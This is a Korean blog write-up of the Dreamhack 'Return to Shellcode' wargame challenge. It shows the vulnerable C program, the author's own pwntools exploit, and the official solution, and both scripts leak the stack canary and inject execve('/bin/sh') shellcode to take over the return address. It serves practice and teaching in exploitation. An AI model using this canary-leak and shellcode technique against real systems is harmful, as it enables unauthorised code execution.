문제풀이/시스템해킹

[dreamhack] Return to Shellcode 문제풀이

Goblebin 2024. 5. 20. 16:01
반응형

문제 코드는 아래와 같다.

// Name: r2s.c
// Compile: gcc -o r2s r2s.c -zexecstack

#include <stdio.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int main() {
  char buf[0x50];

  init();

  printf("Address of the buf: %p\n", buf);
  printf("Distance between buf and $rbp: %ld\n",
         (char*)__builtin_frame_address(0) - buf);

  printf("[1] Leak the canary\n");
  printf("Input: ");
  fflush(stdout);

  read(0, buf, 0x100);
  printf("Your input is '%s'\n", buf);

  puts("[2] Overwrite the return address");
  printf("Input: ");
  fflush(stdout);
  gets(buf);

  return 0;
}

 

솔직히 혼자서는 못 풀었고, 결국 dreamhack에 나온 해설을 봤다.

 

아래는 혼자서 풀어본 코드다. 코드를 작성하면서 코딩 기본 개념이 많이 부족한걸 느꼈다.

 

from pwn import *

r = remote('host3.dreamhack.games', 8296)

context.arch = 'amd64'

buf_add = r.recvline()
#buf_add = buf_add[22:34]
buf_add = int(buf_add[22:34], 16)
print(buf_add)
buf_add = p64(buf_add)

payload = b'A' *0x59

r.sendline(payload)

data = r.recvline()
data2 = r.recvline()
data3 = r.recvline()
data4 = r.recvline().strip()
print(data4[0:7])
data4_reversed = data4[:7][::-1]
print(data4_reversed)


payload2 = b'\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\xb0\x3b\x0f\x05' #31bytes
payload2 += b'A'*0x3A
payload2 += data4[0:7]
payload2 += b'a'*0x08
payload2 += buf_add
print(payload2)

r.sendline(payload2)

r.interactive()

 

솔직히 카나리 동작 과정도 완벽히 이해했고, 그에 대한 취약점 동작 방식도 이해해서 코드만 잘 작성하면 됐는데... 코드를 잘 작성하지 못했다. 

 

아래는 드림핵에서 알려주는 해설 코드다. 아래 코드를 참고해서 코드를 수정해봐야겠다.

 

#!/usr/bin/env python3
# Name: r2s.py
from pwn import *

def slog(n, m): return success(': '.join([n, hex(m)]))

p = remote('host3.dreamhack.games', 8296)

context.arch = 'amd64'

# [1] Get information about buf
p.recvuntil(b'buf: ')
buf = int(p.recvline()[:-1], 16)
slog('Address of buf', buf)

p.recvuntil(b'$rbp: ')
buf2sfp = int(p.recvline().split()[0])
buf2cnry = buf2sfp - 8
slog('buf <=> sfp', buf2sfp)
slog('buf <=> canary', buf2cnry)

# [2] Leak canary value
payload = b'A'*(buf2cnry + 1) # (+1) because of the first null-byte

p.sendafter(b'Input:', payload)
p.recvuntil(payload)
cnry = u64(b'\x00'+p.recvn(7))
slog('Canary', cnry)

# [3] Exploit
sh = asm(shellcraft.sh())
payload = sh.ljust(buf2cnry, b'A') + p64(cnry) + b'B'*0x8 + p64(buf)
# gets() receives input until '\n' is received
p.sendlineafter(b'Input:', payload)

p.interactive()

 

기본 문제라 해설이 공개되어 있어 공개 글로 업로드.

반응형